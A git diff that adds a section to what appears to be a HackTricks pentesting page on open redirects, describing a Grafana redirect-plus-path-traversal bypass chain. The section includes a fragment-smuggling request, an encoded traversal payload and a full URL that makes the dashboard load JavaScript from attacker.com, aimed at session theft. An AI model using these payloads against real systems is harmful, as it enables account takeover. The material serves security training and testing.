diff --git a/src/pentesting-web/open-redirect.md b/src/pentesting-web/open-redirect.md index e73a4f17dfb..57b0dc15d51 100644 --- a/src/pentesting-web/open-redirect.md +++ b/src/pentesting-web/open-redirect.md @@ -262,6 +262,22 @@ awk '/30[1237]|Location:/I' results.txt ``` +### Fragment smuggling + client-side traversal chain (Grafana-style bypass) + +- **Server-side gap (Go `url.Parse` + raw redirect)**: validators that only inspect `URL.Path` and ignore `URL.Fragment` can be tricked by placing the external host after `#`. If the handler later builds `Location` from the *unsanitized* string, fragments leak back into the redirect target. Example against `/user/auth-tokens/rotate`: + - Request: `GET /user/auth-tokens/rotate?redirectTo=/%23/..//\//attacker.com HTTP/1.1` + - Parsing sees `Path=/` and `Fragment=/..//\//attacker.com`, so regex + `path.Clean()` approve `/`, but the response emits `Location: /\//attacker.com`, acting as an open redirect. +- **Client-side gap (validate decoded/cleaned, return original)**: SPA helpers that fully decode a path (including double-encoded `?`), strip the query for validation, but then return the *original* string let encoded `../` survive. Browser decoding later turns it into a traversal to any same-origin endpoint (e.g., the redirect gadget). Payload pattern: + - `/dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser/auth-tokens/rotate` + - The validator checks `/dashboard/script/` (no `..`), returns the encoded string, and the browser walks to `/user/auth-tokens/rotate`. +- **End-to-end XSS/ATO**: chain the traversal with the fragment-smuggled redirect to coerce the dashboard script loader into fetching attacker JS: + +```text +https:///dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%2523%2f..%2f%2f%5c%2fattacker.com%2fmodule.js +``` + + - The path traversal reaches the rotate endpoint, which issues a 302 to `attacker.com/module.js` from the fragment-smuggled `redirectTo`. Ensure the attacker origin serves JS with permissive CORS so the browser executes it, yielding session theft/account takeover. + ## Tools - [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer) @@ -283,5 +299,6 @@ cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50 - [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a) - PortSwigger Web Security Academy – DOM-based open redirection: https://portswigger.net/web-security/dom-based/open-redirection - OpenRedireX – A fuzzer for detecting open redirect vulnerabilities: https://github.com/devanshbatham/OpenRedireX +- [Grafana CVE-2025-6023 redirect + traversal bypass chain](https://blog.ethiack.com/blog/grafana-cve-2025-6023-bypass-a-technical-deep-dive) {{#include ../banners/hacktricks-training.md}}